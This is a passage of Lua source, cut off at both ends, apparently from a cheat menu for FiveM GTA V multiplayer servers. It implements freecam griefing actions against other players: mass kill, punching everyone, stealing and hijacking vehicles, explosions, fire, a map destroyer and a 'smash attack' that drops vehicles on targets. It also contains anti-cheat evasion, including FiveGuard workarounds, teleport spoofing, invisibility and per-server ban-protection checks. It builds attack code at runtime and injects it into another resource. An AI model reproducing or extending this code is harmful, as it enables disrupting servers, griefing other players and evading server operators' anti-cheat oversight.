SetEntityInvincible(targetEntityForGrab, true) SetEntityCollision(targetEntityForGrab, false, false) SetEntityAlpha(targetEntityForGrab, 200, false) freecamState.isGrabbingVehicle = false end) end end break end if selectedOption == menu.utils.freecamMassKillOptionName then menu.utils.executeFreecamMassKill() elseif selectedOption == menu.utils.freecamFightPartyOptionName then menu.utils.executeFreecamFightParty() elseif selectedOption == menu.utils.freecamPunchEveryoneOptionName then menu.utils.executeFreecamFightParty(true) elseif selectedOption == menu.utils.freecamPickUpVehicleOptionName then menu.utils.executeFreecamPickUpVehicle(freecamState) elseif selectedOption == menu.utils.freecamLaunchOptionName then menu.utils.executeFreecamLaunch() elseif selectedOption == "Block Menu Movement" then local blockedMovement = menu.vars and menu.vars.bools and menu.vars.bools.freecamBlockQEMovement if menu.vars and menu.vars.bools then menu.vars.bools.freecamBlockQEMovement = not ( blockedMovement == nil or blockedMovement == true ) end else menu.utils.executeFreecamAction(freecamState.selectedOption) end until true end end if not continueFreecamFrame then freecamState.lastInputTime = currentTime menu.utils.drawFreecamMenu() if menu.utils.tickFreecamSpawnPreview then menu.utils.tickFreecamSpawnPreview() end end end end SetPedCanSwitchWeapon(_ENV.PlayerPedId(), true) end function menuUtilities.drawFreecamMenu() local freecamState = menu.vars.freecamMenu if not freecamState then return end local screenWidth, screenHeight = Hdn.getResolution() function formatOptionCounter(value, index, options) local count = options and #options or 0 if count < 1 then return tostring(value or "?") end index = math.max(1, math.min(index or 1, count)) return tostring(value or "?") .. " [" .. tostring(index) .. "/" .. tostring(count) .. "]" end function formatOptionValue(value, index, options) return formatOptionCounter(value, index, options) end function getOptionValueLabel(optionName) if optionName == "Look Around" then local speed = menu.vars.sliders and menu.vars.sliders.freecamSpeed or freecamState.cameraSpeed return "Speed: " .. menu.utils.formatFreecamSpeedValue(speed) .. "x" end if menu.utils.isFreecamShootOptionName(optionName) then local modes = freecamState.shootModes or { "RPG", "Bullet" } return tostring(modes[freecamState.selectedShootMode or 1] or "RPG") end if optionName == "Smash Attack" then local modes = freecamState.attackModes or {} local index = freecamState.selectedAttackMode or 1 local mode = menu.utils.getFreecamSmashAttackSelectedMode(freecamState) local label = "Heli" if mode then if mode.isCustom then local customModel = menu.vars.freecamSmashAttackCustomModel label = customModel and customModel ~= "" and customModel or "Custom" else label = mode.name or "Heli" end end return formatOptionValue(label, index, modes) end if optionName == "Ped Shooter" then local entry = freecamState.pedList[freecamState.selectedPedIndex] return formatOptionValue( entry and entry.name or "?", freecamState.selectedPedIndex, freecamState.pedList ) end if optionName == "Particles" then local entry = freecamState.particleList[freecamState.selectedParticleIndex] return formatOptionValue( entry and entry.name or "?", freecamState.selectedParticleIndex, freecamState.particleList ) end if optionName == "Shoot Objects" then local entry = freecamState.shootObjectList[freecamState.selectedShootObjectIndex] return formatOptionCounter( entry and entry.name or "?", freecamState.selectedShootObjectIndex, freecamState.shootObjectList ) end if optionName == "Object Spawner" then local entry = freecamState.objectList[freecamState.selectedObjectIndex] return formatOptionValue( entry and entry.name or "?", freecamState.selectedObjectIndex, freecamState.objectList ) end if optionName == "Spawn Custom Object" then local objects = menu.vars.customObjects or {} return tostring( #objects > 0 and (objects[freecamState.selectedCustomObjectIndex] or "?") or "(add in Spawn Custom -> Objects)" ) end if optionName == "Spawn Custom Vehicle" then local vehicles = menu.vars.customVehicles or {} return tostring( #vehicles > 0 and (vehicles[freecamState.selectedCustomVehicleIndex] or "?") or "(add in Spawn Custom -> Vehicles)" ) end if optionName == "Spawn Custom Ped" then local peds = menu.vars.customPeds or {} return tostring( #peds > 0 and (peds[freecamState.selectedCustomPedIndex] or "?") or "(add in Spawn Custom -> Peds)" ) end if optionName == "Spawn Vehicle" then return tostring(freecamState.spawnVehicleList[freecamState.selectedVehicleIndex] or "?") end if optionName == "Map Destroyer" then local entry = freecamState.mapDestroyerList[freecamState.selectedMapDestroyerIndex] return formatOptionValue( entry and entry.name or "?", freecamState.selectedMapDestroyerIndex, freecamState.mapDestroyerList ) end if optionName == "Block Menu Movement" then local blocked = menu.vars and menu.vars.bools and menu.vars.bools.freecamBlockQEMovement return (blocked == nil or blocked == true) and "ON" or "OFF" end if optionName == menu.utils.freecamMassKillOptionName then return menu.utils.formatFreecamMassKillRadiusValue( menu.utils.getFreecamMassKillRadius(freecamState) ) end if optionName == menu.utils.freecamPickUpVehicleOptionName then local modes = freecamState.pickUpVehicleModes or { "Inside", "Outside" } return tostring(modes[freecamState.selectedPickUpVehicleMode or 1] or "Inside") end return nil end local primaryColor = { 255, 255, 255, 255 } local mutedColor = { 150, 150, 150, 210 } local function drawTextWithShadow(text, position, color, fontSize, opacity) local shadowAlpha = opacity or (color and color[4]) or 255 Hdn.drawText(text, position, color, fontSize, true, true, { 0, 0, 0, shadowAlpha }) Hdn.drawText(text, position, color, fontSize, true, false, {}) end local optionFontSize local function drawOptionLine(y, label, value, showModel, color, fontSize, opacity) fontSize = fontSize or 18 color = color or primaryColor local text if showModel then text = tostring(label) .. " | - Model - " .. tostring(value) else text = tostring(label) .. " | " .. tostring(value) end drawTextWithShadow(text, { screenWidth / 2, y }, color, fontSize, opacity) end freecamState.animatedSelection = freecamState.animatedSelection or freecamState.selectedOption * 1.0 local selectedPosition = freecamState.selectedOption * 1.0 local optionCount = #freecamState.menuOptions local difference = selectedPosition - freecamState.animatedSelection if optionCount > 1 and math.abs(difference) > optionCount / 2 then freecamState.animatedSelection = freecamState.animatedSelection + (difference > 0 and optionCount or -optionCount) end freecamState.animatedSelection = freecamState.animatedSelection + (selectedPosition - freecamState.animatedSelection) * 0.22 if math.abs(freecamState.animatedSelection - selectedPosition) < 0.005 then freecamState.animatedSelection = selectedPosition end while freecamState.animatedSelection < 0.5 do freecamState.animatedSelection = freecamState.animatedSelection + optionCount end while freecamState.animatedSelection > optionCount + 0.5 do freecamState.animatedSelection = freecamState.animatedSelection - optionCount end local rowSpacing = 29 local configuredCount = tonumber(menu.vars.selectors and menu.vars.selectors.freecamVisibleOptions) or 5 local visibleCount = math.max(1, math.min(8, math.floor(configuredCount))) local animatedSelection = freecamState.animatedSelection local selectedIndex = math.max(1, math.min(optionCount, math.floor(animatedSelection + 0.5))) local firstIndex, lastIndex if optionCount <= visibleCount then firstIndex, lastIndex = 1, optionCount else firstIndex = selectedIndex - math.floor((visibleCount - 1) / 2) if firstIndex < 1 then firstIndex = 1 end if optionCount < firstIndex + visibleCount - 1 then firstIndex = optionCount - visibleCount + 1 end lastIndex = firstIndex + visibleCount - 1 end local rowCount = lastIndex - firstIndex + 1 local firstRowY = screenHeight * 0.9 - math.floor((rowCount - 1) / 2) * rowSpacing - 8 for index = firstIndex, lastIndex, 1 do local rowOffset = index - animatedSelection local y = firstRowY + rowOffset * rowSpacing local option = freecamState.menuOptions[index] or "?" local selected = index == freecamState.selectedOption local color, alpha optionFontSize = nil if selected then color, optionFontSize, alpha = primaryColor, 18, 180 else color, optionFontSize, alpha = mutedColor, 17, math.floor(mutedColor[4] * 0.7) end if selected then local nearbyMode = menu.utils.isServer185169NearbyVehicleMode if nearbyMode then nearbyMode = menu.utils.isServer185169NearbyVehicleMode() and menu.utils.isFreecamShootVehicleOptionName(option) end if menu.utils.isFreecamShootVehicleOptionName(option) then menu.utils.refreshFreecamShootVehicleLists(freecamState) end if option == menu.utils.freecamLaunchOptionName then local firstMode = menu.vars.freecamLastLaunchMode == 2 and "Vehicle" or "Player" local secondMode = menu.vars.freecamLastLaunchMode == 2 and "Player" or "Vehicle" local function measureText(value) if Ham and Ham.getTextWidth then local measured = select(1, Ham.getTextWidth(value)) or 0 if measured > 0 then return measured * (optionFontSize / 14.2) + 1 end end return #value * optionFontSize * 0.54 end drawTextWithShadow(option, { screenWidth / 2, y }, color, optionFontSize, alpha) local modeWidth = math.max(measureText("Player"), measureText("Vehicle")) local modeX = screenWidth / 2 + measureText(option) / 2 + 40 + modeWidth / 2 drawTextWithShadow(firstMode, { modeX, y }, color, optionFontSize, alpha) drawTextWithShadow(secondMode, { modeX, y + 22 }, mutedColor, optionFontSize, 147) elseif menu.utils.isFreecamShootVehicleOptionName(option) and not nearbyMode then menu.utils.drawFreecamShootVehicleRow(y, freecamState, screenWidth) elseif nearbyMode then drawTextWithShadow(option, { screenWidth / 2, y }, color, optionFontSize, alpha) else local value = getOptionValueLabel(option) local displayName = menu.utils.getFreecamMenuOptionDisplayName(option) if value then drawOptionLine( y, displayName, value, menu.utils.isFreecamModelAdjustOption(option), color, optionFontSize, alpha ) else drawTextWithShadow(displayName, { screenWidth / 2, y }, color, optionFontSize, alpha) end end else drawTextWithShadow( menu.utils.getFreecamMenuOptionDisplayName(option), { screenWidth / 2, y }, color, optionFontSize, alpha ) end end menu.utils.drawFreecamMenuHint(screenWidth, screenHeight, freecamState) menu.utils.drawFreecamBlackHoleHud() menu.utils.drawFreecamMassKillHud() menu.utils.drawFreecamFightPartyHud() end function menuUtilities.executeFreecamAction(optionIndex) local freecamMenu = menu.vars.freecamMenu if not freecamMenu then return end local selected = freecamMenu.menuOptions and freecamMenu.menuOptions[optionIndex] if selected and menu.utils.isFreecamOptionBlockedOn802242192Server and menu.utils.isFreecamOptionBlockedOn802242192Server(selected) then menu.utils.notifyBanProtection() return end local vehicleActions = { ["Kick Driver"] = true, ["Steal Vehicle"] = true, ["NPC Vehicle Hijack"] = true, ["Shoot Vehicle"] = true, ["Shoot Vehicles"] = true, ["Shoot Available Vehicles"] = true } vehicleActions[menu.utils.freecamPickUpVehicleOptionName] = true local spawnVehicleActions = { ["Spawn Vehicle"] = true, ["Spawn Custom Vehicle"] = true } local objectActions = { ["Object Spawner"] = true, ["Spawn Custom Object"] = true, ["Shoot Objects"] = true, ["Map Destroyer"] = true } if selected and vehicleActions[selected] and menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if selected and spawnVehicleActions[selected] and menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if selected and objectActions[selected] and menu.utils.isServerObjectBlocked and menu.utils.isServerObjectBlocked() then menu.utils.notifyBanBlocked() return end local cameraPosition = GetFinalRenderedCamCoord() if not cameraPosition then return end local cameraRotation = GetFinalRenderedCamRot(2) if not cameraRotation then return end local directionX = -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local directionY = math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local direction = vector3(directionX, directionY, math.sin(math.rad(cameraRotation.x))) if not selected then return end local earlyThreadedActions = { ["Spawn Explosion"] = function() menu.utils.freecamSpawnExplosion(cameraPosition, direction, cameraRotation) end, ["Spawn Fire"] = function() menu.utils.freecamSpawnFire(cameraPosition, direction, cameraRotation) end, ["Smash Attack"] = function() menu.utils.freecamAttack(cameraPosition, direction, cameraRotation) end } if earlyThreadedActions[selected] then Citizen.CreateThread(earlyThreadedActions[selected]) return end if menu.utils.isFreecamShootVehicleOptionName(selected) then menu.utils.freecamShootVehicle(cameraPosition, direction, cameraRotation) return end if selected == "Particles" then menu.utils.freecamShootParticle(cameraPosition, direction, cameraRotation) return end if selected == "Shoot Objects" then menu.utils.freecamShootObject(cameraPosition, direction, cameraRotation) return end if selected == "Ped Shooter" then menu.utils.freecamShootPed(cameraPosition, direction, cameraRotation) return end if selected == "Shoot RPG" then Citizen.CreateThread(function() local activeMenu = menu.vars.freecamMenu if not activeMenu then return end if (activeMenu.selectedShootMode or 1) == 2 then menu.utils.freecamShootBulletFromFov() else menu.utils.freecamShootRPGFromFov() end end) return end if selected == "Black Hole" then return end local threadedActions = { ["Teleport"] = function() menu.utils.freecamTeleport(cameraPosition, direction) end, ["Copy Outfit"] = function() menu.utils.executeFreecamCopyOutfit(cameraPosition, direction) end, ["Select Player"] = function() menu.utils.executeFreecamSelectPlayer(cameraPosition, direction) end, ["Unselect Player"] = function() menu.utils.executeFreecamUnselectPlayer(cameraPosition, direction) end, ["Object Spawner"] = function() menu.utils.freecamSpawnObject(cameraPosition, direction, cameraRotation) end, ["Spawn Custom Object"] = function() menu.utils.freecamSpawnCustomObject(cameraPosition, direction, cameraRotation) end, ["Spawn Custom Vehicle"] = function() menu.utils.freecamSpawnCustomVehicle(cameraPosition, direction, cameraRotation) end, ["Spawn Custom Ped"] = function() menu.utils.freecamSpawnCustomPed(cameraPosition, direction, cameraRotation) end, ["Spawn Vehicle"] = function() menu.utils.freecamSpawnVehicle(cameraPosition, direction, cameraRotation) end, ["Map Destroyer"] = function() menu.utils.freecamMapDestroyer(cameraPosition, direction, cameraRotation) end, ["Kick Driver"] = function() menu.utils.executeFreecamKickVehicle() end, ["Steal Vehicle"] = function() menu.utils.executeFreecamStealVehicle() end, ["NPC Vehicle Hijack"] = function() menu.utils.executeFreecamVehicleThief() end } if threadedActions[selected] then Citizen.CreateThread(threadedActions[selected]) elseif selected == menu.utils.freecamPickUpVehicleOptionName then menu.utils.executeFreecamPickUpVehicle(freecamMenu) end end function menuUtilities.freecamTeleport(origin, direction) menu.utils.feloxMarkTeleport() Citizen.CreateThread(function() if not origin or not direction then return end local playerPed = PlayerPedId() if not playerPed or playerPed == 0 then return end local vehicle = menu.utils.getVehicleFromRaycast(12.0, { allowFallback = false, includeOwnVehicle = true }) if vehicle and DoesEntityExist(vehicle) then local alreadyInVehicle = GetVehiclePedIsIn(playerPed, false) == vehicle if not alreadyInVehicle and menu.vars.antiCheats.FiveGuard then AttachEntityToEntity( playerPed, vehicle, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) Citizen.Wait(250) DetachEntity(playerPed, true, true) end if GetEntityModel(vehicle) == GetHashKey("bmx") then return end local seat if IsVehicleSeatFree(vehicle, -1) then seat = -1 else local passengers = GetVehicleMaxNumberOfPassengers(vehicle) if passengers and passengers > 0 then for passengerSeat = 0, passengers - 1, 1 do if IsVehicleSeatFree(vehicle, passengerSeat) then seat = passengerSeat break end end end end if seat == nil then return end if alreadyInVehicle then if not IsVehicleSeatFree(vehicle, seat) then return end SetPedIntoVehicle(playerPed, vehicle, seat) Citizen.Wait(0) if GetPedInVehicleSeat(vehicle, seat) == playerPed then menu.vars.freecamOriginalPlayerVehicle = vehicle menu.vars.freecamOriginalPlayerSeat = seat if menu.vars.freecamMenuActive then menu.vars.freecamTeleportUsedInFreecam = true end end return end if IsPedInAnyVehicle(playerPed, false) then local previousVehicle = GetVehiclePedIsIn(playerPed, false) if previousVehicle ~= 0 and previousVehicle ~= vehicle then ClearPedTasksImmediately(playerPed) end end if not DoesEntityExist(vehicle) or not IsVehicleSeatFree(vehicle, seat) then return end if Ham and Ham.spoofTeleport then Ham.spoofTeleport(true) end menu.utils.withTempPlayerInvisibility(function() ClearPedTasksImmediately(playerPed) SetEntityVelocity(playerPed, 0.0, 0.0, 0.0) TaskWarpPedIntoVehicle(playerPed, vehicle, seat) Citizen.Wait(0) if GetPedInVehicleSeat(vehicle, seat) ~= playerPed then SetPedIntoVehicle(playerPed, vehicle, seat) end end) if not menu.vars.freecamMenuActive then return end menu.vars.freecamTeleportUsedInFreecam = true return end local position = menu.utils.getFreecamLookSpawnPosSync(1) if not position then return end local target = menu.utils.resolveFreecamTeleportCoords(position) if not target then menu.utils.notify("No ground found at target", "error", 2000) return end if not menu.utils.freecamTeleportPlayerToGround(target) then return end local ped = PlayerPedId() if ped and ped ~= 0 then local restoreState = menu.utils.getFreecamPlayerRestoreState(ped) local focusEntity = ped if restoreState and restoreState.vehicle and restoreState.vehicle ~= 0 and DoesEntityExist(restoreState.vehicle) then focusEntity = restoreState.vehicle end local coords = GetEntityCoords(focusEntity) SetFocusPosAndVel(coords.x, coords.y, coords.z, 0.0, 0.0, 0.0) RequestCollisionAtCoord(coords.x, coords.y, coords.z) RequestAdditionalCollisionAtCoord(coords.x, coords.y, coords.z) end if menu.vars.freecamMenuActive then menu.vars.freecamTeleportUsedInFreecam = true end end) end function menuUtilities.freecamAttack(origin, direction, unusedRotation) local freecamMenu = menu.vars.freecamMenu if not freecamMenu then return end local mode = menu.utils.getFreecamSmashAttackSelectedMode(freecamMenu) if not mode or not mode.model then if mode and mode.isCustom then menu.utils.notify("Press Enter to set a custom model", "error", 2000) end return end local model = mode.model local modelHash = GetHashKey(model) local isPlane = IsThisModelAPlane(modelHash) local divePitch = -90.0 if not menu.utils.isVehicleWhitelisted(model) then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local endpoint = origin + direction * 1000.0 local ray = StartShapeTestRay(origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, 1, PlayerPedId(), 0) local status, hit, hitPosition, surfaceNormal, hitEntity = GetShapeTestResult(ray) if hit then local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 local attackScript = [[ Citizen.CreateThread(function() local attackModel = %q local spawnPos = vector3(%.2f, %.2f, %.2f) local dropPos = vector3(%.2f, %.2f, %.2f) local divePitch = %.2f local diveSpeed = 60.0 local isPlaneMode = %s local stopHeight = 4.0 local function prepareDiveVehicle(vehicle) SetVehicleEngineOn(vehicle, false, true, true) SetVehicleForwardSpeed(vehicle, 0.0) if isPlaneMode or IsThisModelAPlane(GetEntityModel(vehicle)) then SetPlaneTurbulenceMultiplier(vehicle, 0.0) ControlLandingGear(vehicle, 3) end end local function applyNoseDownDive(vehicle) SetEntityRotation(vehicle, divePitch, 0.0, GetEntityHeading(vehicle), 2, true) SetEntityVelocity(vehicle, 0.0, 0.0, -diveSpeed) end local function stopDive(vehicle) if not vehicle or not DoesEntityExist(vehicle) then return end SetVehicleEngineOn(vehicle, true, true, false) end _G.Citizen.Bongs.utils.spawnVehicle(attackModel, spawnPos, 0.0, function(vehicle) if not vehicle or not DoesEntityExist(vehicle) then return end Citizen.Wait(50) prepareDiveVehicle(vehicle) SetEntityCoordsNoOffset(vehicle, dropPos.x, dropPos.y, dropPos.z, false, false, false) applyNoseDownDive(vehicle) Citizen.CreateThread(function() while DoesEntityExist(vehicle) do local heightAboveGround = GetEntityHeightAboveGround(vehicle) if heightAboveGround <= stopHeight or HasEntityCollidedWithAnything(vehicle) then stopDive(vehicle) break end applyNoseDownDive(vehicle) Citizen.Wait(0) end end) end, %d) end) ]] local code = string.format( attackScript, model, hitPosition.x, hitPosition.y, hitPosition.z, hitPosition.x, hitPosition.y, hitPosition.z + 50.0, divePitch, tostring(isPlane), safeSpawn ) menu.utils.safeExecute(code) end end function menuUtilities.resolveFreecamVehicleSpawnName(modelHash) if not modelHash or modelHash == 0 or not IsModelInCdimage(modelHash) or not IsModelAVehicle(modelHash) then return nil end local displayName = GetDisplayNameFromVehicleModel(modelHash) if displayName and displayName ~= "" and displayName ~= "CARNOTFOUND" then local model = string.lower(displayName) if GetHashKey(model) == modelHash and menu.utils.isVehicleWhitelisted(model) then return model end end local iterator, state, key = ipairs(menu.utils.nearbyVehicleFallbackModels or {}) for _, model in iterator, state, key do if GetHashKey(model) == modelHash and menu.utils.isVehicleWhitelisted(model) then return model end end return nil end pendingUtilityValue = "Available Vehicles" menuUtilities.freecamShootVehicleAvailableCategoryName = pendingUtilityValue function menuUtilities.getFreecamShootVehicleCategories(availableOnly) if availableOnly then return { menu.utils.freecamShootVehicleAvailableCategoryName } end return { "Nearby Vehicles", menu.utils.freecamShootVehicleAvailableCategoryName, "Safe Vehicles", "Custom" } end function menuUtilities.ensureFreecamShootVehicleCategories(state) if not state then return end local nearbyVehicleMode = menu.utils.isServer185169NearbyVehicleMode if nearbyVehicleMode then nearbyVehicleMode = menu.utils.isServer185169NearbyVehicleMode() end local oldCategories = state.shootVehicleCategories local oldIndex = state.shootVehicleCategoryIndex or 1 local oldName = oldCategories and oldCategories[oldIndex] state.shootVehicleCategories = menu.utils.getFreecamShootVehicleCategories(nearbyVehicleMode == true) if nearbyVehicleMode then state.shootVehicleCategoryIndex = 1 return end if oldName then local index = menu.utils.getFreecamShootVehicleCategoryIndexByName(state, oldName) if index then state.shootVehicleCategoryIndex = index return end end if oldCategories and #oldCategories == 3 then if oldIndex == 2 then state.shootVehicleCategoryIndex = menu.utils.getFreecamShootVehicleCategoryIndexByName( state, "Safe Vehicles" ) or 3 elseif oldIndex == 3 then state.shootVehicleCategoryIndex = menu.utils.getFreecamShootVehicleCategoryIndexByName( state, "Custom" ) or 4 else state.shootVehicleCategoryIndex = 1 end return end state.shootVehicleCategoryIndex = math.min(math.max(oldIndex, 1), #state.shootVehicleCategories) end function menuUtilities.getFreecamShootVehicleCategoryName(state) if not state then return nil end local categories = state.shootVehicleCategories or menu.utils.getFreecamShootVehicleCategories(false) return categories[state.shootVehicleCategoryIndex or 1] end function menuUtilities.isFreecamShootVehicleAvailableEntriesMode(state) if menu.utils.isServer185169NearbyVehicleMode and menu.utils.isServer185169NearbyVehicleMode() then return true end return menu.utils.getFreecamShootVehicleCategoryName(state) == menu.utils.freecamShootVehicleAvailableCategoryName end function menuUtilities.getFreecamShootVehicleCategoryIndexByName(state, categoryName) local categories = state and state.shootVehicleCategories or menu.utils.getFreecamShootVehicleCategories(false) local iterator, iteratorState, iteratorKey = ipairs(categories) for index, name in iterator, iteratorState, iteratorKey do if name == categoryName then return index end end return nil end function menuUtilities.getFreecamShootVehicleSearchCenter(origin, direction) if not origin or not direction then return nil end local length = #direction local normalizedDirection = length > 0.01 and direction / length or vector3(0.0, 1.0, 0.0) local endpoint = origin + normalizedDirection * 1000.0 local ray = StartShapeTestRay(origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, 1, PlayerPedId(), 0) local status, hit, hitCoords = GetShapeTestResult(ray) local deadline = GetGameTimer() + 50 while status == 1 and deadline > GetGameTimer() do status, hit, hitCoords = GetShapeTestResult(ray) Citizen.Wait(0) end if hit and hitCoords and hitCoords.x then return vector3(hitCoords.x, hitCoords.y, hitCoords.z) end return origin + normalizedDirection * 30.0 end function menuUtilities.buildFreecamShootVehicleSafeList() local result = {} local iterator, state, key = ipairs(menu.utils.freecamSafeVehicleModels or {}) for _, model in iterator, state, key do if menu.utils.isVehicleWhitelisted(model) then result[#result + 1] = model end end return result end function menuUtilities.scanFreecamShootVehicleNearbyEntries(center, radius, availableOnly) radius = radius or 500.0 if not center then return {} end if availableOnly == nil then local nearbyMode = menu.utils.isServer185169NearbyVehicleMode if nearbyMode then nearbyMode = menu.utils.isServer185169NearbyVehicleMode() end if nearbyMode then availableOnly = nearbyMode else local state = menu.vars.freecamMenu availableOnly = state and menu.utils.isFreecamShootVehicleAvailableEntriesMode(state) or state end end local entries = {} local seenModels = {} local bmxHash = GetHashKey("bmx") local bf400Hash = GetHashKey("bf400") local iterator, state, key = ipairs(GetGamePool("CVehicle") or {}) for _, vehicle in iterator, state, key do repeat if not DoesEntityExist(vehicle) or (menu.utils.isMenuVehiclePreviewEntity and menu.utils.isMenuVehiclePreviewEntity(vehicle)) or (availableOnly and not IsVehicleSeatFree(vehicle, -1)) then break end local vehiclePosition = GetEntityCoords(vehicle) local distance = #(center - vehiclePosition) if not (radius >= distance) then break end local modelHash = GetEntityModel(vehicle) if not modelHash or modelHash == 0 then break end local eligible = availableOnly if not eligible then eligible = IsThisModelACar(modelHash) if eligible then eligible = not IsThisModelABike(modelHash) and modelHash ~= bmxHash and modelHash ~= bf400Hash and not seenModels[modelHash] end end if not eligible then break end local model = menu.utils.resolveFreecamVehicleSpawnName(modelHash) if not model then break end if not availableOnly then seenModels[modelHash] = true else local cooldown = (menu.vars.freecamGrandShootVehicleCooldown or {})[vehicle] if cooldown and cooldown > GetGameTimer() then break end end local displayName = GetDisplayNameFromVehicleModel(modelHash) local label = displayName if not label or label == "" or label == "CARNOTFOUND" then label = model end entries[#entries + 1] = { vehicle = vehicle, model = model, label = label, distance = distance } until true end table.sort(entries, function(first, second) return first.distance < second.distance end) return entries end function menuUtilities.scanFreecamShootVehicleNearbyList(center, radius) local entries = menu.utils.scanFreecamShootVehicleNearbyEntries(center, radius, false) local models = {} local iterator, state, key = ipairs(entries) for _, entry in iterator, state, key do models[#models + 1] = entry.model end return models end function menuUtilities.getFreecamShootVehicleModelList(state) if not state then return {} end local category = menu.utils.getFreecamShootVehicleCategoryName(state) if category == "Safe Vehicles" then return state.shootVehicleSafeList or {} end if category == "Custom" then return menu.vars.shootVehicleCustomModels or {} end if category == menu.utils.freecamShootVehicleAvailableCategoryName then return state.shootVehicleNearbyEntries or {} end return state.shootVehicleNearbyList or {} end function menuUtilities.getFreecamShootVehicleSelectedEntry(state) if not state or not menu.utils.isFreecamShootVehicleAvailableEntriesMode(state) then return nil end local entries = state.shootVehicleNearbyEntries or {} if #entries < 1 then return nil end state.shootVehicleSelectedIndex = math.min(math.max(state.shootVehicleSelectedIndex or 1, 1), #entries) return entries[state.shootVehicleSelectedIndex] end function menuUtilities.getFreecamShootVehicleDisplayName(model) if not model or model == "" then return "None" end local function capitalize(value) local text = tostring(value or "") if text == "" then return text end local lower = string.lower(text) return lower:sub(1, 1):upper() .. lower:sub(2) end local displayName = GetDisplayNameFromVehicleModel(GetHashKey(model)) if not displayName or displayName == "" or displayName == "CARNOTFOUND" then return capitalize(model) end local language = GetCurrentLanguage and GetCurrentLanguage() or -1 if language == 0 then local label = GetLabelText(displayName) if label and label ~= "" and label ~= "NULL" and not string.find(label, "%%") then return label end end return capitalize(displayName) end function menuUtilities.getFreecamShootVehicleSelectedModel(state) if not state then return nil end local entry = menu.utils.getFreecamShootVehicleSelectedEntry(state) if entry then state.shootVehiclePinnedModel = entry.model state.shootVehiclePinnedVehicle = entry.vehicle return entry.model end local models = menu.utils.getFreecamShootVehicleModelList(state) if #models < 1 then return state.shootVehiclePinnedModel end local model = models[math.min(math.max(state.shootVehicleSelectedIndex or 1, 1), #models)] if model then state.shootVehiclePinnedModel = model end return model end function menuUtilities.pinFreecamShootVehicleSelection(state) if not state then return nil end local entry = menu.utils.getFreecamShootVehicleSelectedEntry(state) if entry then state.shootVehiclePinnedModel = entry.model state.shootVehiclePinnedVehicle = entry.vehicle return entry.model end local model = menu.utils.getFreecamShootVehicleSelectedModel(state) if model then state.shootVehiclePinnedModel = model end return model end function menuUtilities.setFreecamShootVehicleCategory(state, categoryIndex, notifyIfEmpty) if not state then return end menu.utils.ensureFreecamShootVehicleCategories(state) if menu.utils.isServer185169NearbyVehicleMode and menu.utils.isServer185169NearbyVehicleMode() then categoryIndex = 1 notifyIfEmpty = false end local categories = state.shootVehicleCategories or menu.utils.getFreecamShootVehicleCategories(false) categoryIndex = math.min(math.max(categoryIndex or 1, 1), #categories) state.shootVehicleCategoryIndex = categoryIndex state.shootVehicleSelectedIndex = 1 menu.utils.refreshFreecamShootVehicleLists(state, true) if menu.utils.getFreecamShootVehicleCategoryName(state) == "Nearby Vehicles" and notifyIfEmpty and #(state.shootVehicleNearbyList or {}) == 0 then menu.utils.notify("No nearby vehicles found", "error", 2500) state.shootVehicleCategoryIndex = menu.utils.getFreecamShootVehicleCategoryIndexByName( state, "Safe Vehicles" ) or categoryIndex state.shootVehicleSelectedIndex = 1 end end function menuUtilities.shiftFreecamShootVehicleCategory(state, direction, notifyIfEmpty) if not state or (menu.utils.isServer185169NearbyVehicleMode and menu.utils.isServer185169NearbyVehicleMode()) then return end menu.utils.ensureFreecamShootVehicleCategories(state) local categories = state.shootVehicleCategories or menu.utils.getFreecamShootVehicleCategories(false) if #categories < 1 then return end local nextIndex = (state.shootVehicleCategoryIndex or 1) + (direction or 0) if nextIndex < 1 then nextIndex = #categories elseif nextIndex > #categories then nextIndex = 1 end menu.utils.setFreecamShootVehicleCategory(state, nextIndex, notifyIfEmpty) end function menuUtilities.shiftFreecamShootVehicleModel(state, direction) if not state then return end local category = menu.utils.getFreecamShootVehicleCategoryName(state) if category == "Nearby Vehicles" or ( category ~= menu.utils.freecamShootVehicleAvailableCategoryName and category ~= "Safe Vehicles" and category ~= "Custom" ) then return end local models = menu.utils.getFreecamShootVehicleModelList(state) if #models < 1 then return end local index = (state.shootVehicleSelectedIndex or 1) + (direction or 0) if index < 1 then index = #models elseif index > #models then index = 1 end state.shootVehicleSelectedIndex = index menu.utils.pinFreecamShootVehicleSelection(state) end function menuUtilities.isFreecamShootVehicleEnterPressed() if ImGuiKey and ImGuiKey.Enter and Ham.isKeyReleased and Ham.isKeyReleased(ImGuiKey.Enter) then return true end return IsControlJustPressed(0, 191) or IsDisabledControlJustPressed(0, 191) or IsControlJustPressed(0, 201) or IsDisabledControlJustPressed(0, 201) end function menuUtilities.canOpenFreecamShootVehicleCustomPrompt() if menu.vars.textPrompt then return false end return (menu.vars.freecamShootVehicleCustomEnterBlockUntil or 0) <= GetGameTimer() end function menuUtilities.blockFreecamShootVehicleCustomEnter(duration) menu.vars.freecamShootVehicleCustomEnterBlockUntil = GetGameTimer() + (duration or 450) end function menuUtilities.getFreecamSmashAttackCustomModeIndex(state) if not state then return nil end local iterator, iteratorState, iteratorKey = ipairs(state.attackModes or {}) for index, mode in iterator, iteratorState, iteratorKey do if mode.isCustom then return index end end return nil end function menuUtilities.getFreecamSmashAttackSelectedMode(state) if not state then return nil end local modes = state.attackModes or {} local mode = modes[state.selectedAttackMode or 1] or modes[1] if not mode then return nil end if mode.isCustom then local customModel = menu.vars and menu.vars.freecamSmashAttackCustomModel if not customModel or customModel == "" then customModel = nil end return { name = "Custom", model = customModel, isCustom = true } end return mode end function menuUtilities.promptFreecamSmashAttackCustomModel(state) if not menu.utils.canOpenFreecamShootVehicleCustomPrompt() then return end menu.ui.promptText( { title = "Smash Attack - Custom", label = "Enter vehicle model name", placeholder = "e.g. frogger2, rhino, stunt", default = menu.vars.freecamSmashAttackCustomModel or "", maxLen = 64 }, function(value, cancelled) menu.utils.blockFreecamShootVehicleCustomEnter(450) if cancelled then return end if not value or value == "" then menu.utils.notify("No model name entered", "error", 2000) return end local model = string.gsub(value, 